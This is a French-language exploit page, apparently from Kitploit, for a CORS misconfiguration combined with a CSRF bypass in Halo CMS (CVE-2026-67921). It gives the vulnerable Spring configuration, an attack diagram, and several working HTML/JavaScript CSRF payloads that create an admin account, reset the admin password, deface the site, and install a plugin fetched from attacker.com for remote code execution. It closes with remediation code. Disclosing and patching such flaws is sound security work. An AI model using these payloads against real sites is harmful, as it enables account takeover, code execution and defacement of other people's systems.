halo-cors-csrf-CVE-2026-67921 — Preuve de concept démontrant une combinaison de mauvaise configuration CORS et de contournement de la protection CSRF dans Halo CMS, permettant des attaques de falsification de requête intersite pour créer des utilisateurs administrateurs, modifier des mots de passe, installer des plugins et altérer le contenu. | Kitploit

CorsConfigurationSource apiCorsConfigSource() {
    var configuration = new CorsConfiguration();
    configuration.setAllowedOriginPatterns(List.of("*"));   // ← Toute origine
    configuration.setAllowCredentials(true);                // ← Autoriser les cookies
    configuration.setAllowedHeaders(List.of(
        HttpHeaders.AUTHORIZATION,
        HttpHeaders.CONTENT_TYPE,
        HttpHeaders.ACCEPT,
        "X-XSRF-TOKEN",
        HttpHeaders.COOKIE));
    configuration.setAllowedMethods(List.of("GET", "POST", "PUT", "DELETE", "PATCH"));
    source.registerCorsConfiguration("/api/**", configuration);
    source.registerCorsConfiguration("/apis/**", configuration);
    return source;
}

@Override
public void configure(ServerHttpSecurity http) {
    var csrfMatcher = new AndServerWebExchangeMatcher(
        CsrfWebFilter.DEFAULT_CSRF_MATCHER,
        new NegatedServerWebExchangeMatcher(
            pathMatchers("/api/**", "/apis/**", "/actuator/**", "/system/setup")),
        // ← Routes API exclues du CSRF !
        new NegatedServerWebExchangeMatcher(tokenAuthMatcher()));
    http.csrf(csrfSpec -> csrfSpec.csrfTokenRepository(new CookieServerCsrfTokenRepository())
        .requireCsrfProtectionMatcher(csrfMatcher));
}

┌─────────────────────────────────────────────────────────────┐
│  L'attaquant héberge une page malveillante sur evil.com     │
│  <form action="http://halo:8090/apis/..." method="POST">   │
│    <input name="..." value="...">                          │
│  </form>                                                    │
│  <script>document.forms[0].submit()</script>               │
└─────────────────────────────────────────────────────────────┘
                            ↓
┌─────────────────────────────────────────────────────────────┐
│  Le navigateur de la victime visite evil.com                │
│  → Le formulaire s'envoie automatiquement à l'API Halo      │
│  → Le navigateur inclut automatiquement le cookie de session│
│  → CORS : Origine * + credentials: true → Requête autorisée !│
│  → CSRF : /apis/** exclu → Aucun jeton requis !             │
│  → La requête aboutit avec les privilèges de la victime     │
└─────────────────────────────────────────────────────────────┘

<html>
<body>
<form id="csrf-form" action="http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users" method="POST">
  <input type="hidden" name="apiVersion" value="v1alpha1"/>
  <input type="hidden" name="kind" value="User"/>
  <input type="hidden" name="metadata.name" value="hacker"/>
  <input type="hidden" name="spec.password" value="hacker123"/>
  <input type="hidden" name="spec.displayName" value="Hacker"/>
</form>
<script>document.getElementById('csrf-form').submit();</script>
</body>
</html>

<html>
<body>
<form id="csrf-form" action="http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users/admin/password" method="PUT">
  <input type="hidden" name="password" value="newpassword123"/>
</form>
<script>
  var xhr = new XMLHttpRequest();
  xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/users/admin/password', true);
  xhr.setRequestHeader('Content-Type', 'application/json');
  xhr.withCredentials = true;
  xhr.send(JSON.stringify({password: 'newpassword123'}));
</script>
</body>
</html>

<html>
<body>
<script>
  var xhr = new XMLHttpRequest();
  xhr.open('POST', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/plugins/-/install-from-uri', true);
  xhr.setRequestHeader('Content-Type', 'application/json');
  xhr.withCredentials = true;
  xhr.send(JSON.stringify({uri: 'http://attacker.com/malicious-plugin.jar'}));
</script>
</body>
</html>

<html>
<body>
<script>
  // Changer le titre du site
  var xhr = new XMLHttpRequest();
  xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/systemconfigs', true);
  xhr.setRequestHeader('Content-Type', 'application/json');
  xhr.withCredentials = true;
  xhr.send(JSON.stringify({site: {title: 'Hacked by Attacker'}}));
</script>
</body>
</html>

<!DOCTYPE html>
<html>
<head><title>Halo CSRF PoC</title></head>
<body>
<h1>Halo CORS+CSRF Attack PoC</h1>
<p>Cette page tentera de modifier les paramètres de Halo lors de son chargement.</p>

<script>
// Test CSRF en modifiant le titre du site
var xhr = new XMLHttpRequest();
xhr.open('PUT', 'http://192.168.49.128:8090/apis/api.console.halo.run/v1alpha1/systemconfigs', true);
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.withCredentials = true;

xhr.onload = function() {
    if (xhr.status === 200 || xhr.status === 204) {
        document.body.innerHTML += '<p style="color:green">SUCCÈS ! L\'attaque CSRF a fonctionné.</p>';
    } else {
        document.body.innerHTML += '<p style="color:red">Échec : ' + xhr.status + '</p>';
    }
};

xhr.send(JSON.stringify({
    "site": {
        "title": "Attaque CSRF réussie - " + new Date().toISOString()
    }
}));
</script>
</body>
</html>

Attaque	Impact	Sévérité
Créer un utilisateur admin	Compromission totale du système	Critique
Changer le mot de passe admin	Prise de contrôle du compte	Critique
Installer un plugin malveillant	Exécution de code à distance	Critique
Modifier le contenu	Défacement	Élevée
Supprimer des données	Perte de données	Élevée
Voler des données	Divulgation d'informations	Élevée

// Remplacer le caractère générique par des origines spécifiques
configuration.setAllowedOriginPatterns(List.of(
    "https://yourdomain.com",
    "https://admin.yourdomain.com"
));

// Supprimer les exclusions API du matcher CSRF
var csrfMatcher = new AndServerWebExchangeMatcher(
    CsrfWebFilter.DEFAULT_CSRF_MATCHER,
    new NegatedServerWebExchangeMatcher(tokenAuthMatcher()));

Protection	Seule	Combinée
CORS `*`	Bloque les identifiants (imposé par le navigateur)	Identifiants autorisés !
Pas de CSRF	Protégé par la Same-Origin Policy	Contourné par CORS !
Résultat	Sûr	CSRF complet

halo-cors-csrf-CVE-2026-67921

Populaires

À propos

Versions concernées

Détails de la vulnérabilité

Vulnérabilité 1 : Mauvaise configuration CORS

Vulnérabilité 2 : Contournement de la protection CSRF

Mécanisme d'attaque

Pourquoi cette combinaison est dangereuse

Le déroulement de l'attaque

Scénarios d'exploitation

Scénario 1 : Créer un utilisateur administrateur

Scénario 2 : Changer le mot de passe administrateur

Scénario 3 : Installer un plugin malveillant (RCE)

Scénario 4 : Modifier le contenu du site

Preuve de concept

Test CSRF de base

Étapes de vérification

Analyse d'impact

Remédiation

Correctif 1 : Restreindre les origines CORS

Correctif 2 : Activer le CSRF pour les routes API

Correctif 3 : Utiliser l'authentification par jeton Bearer

Références

Chronologie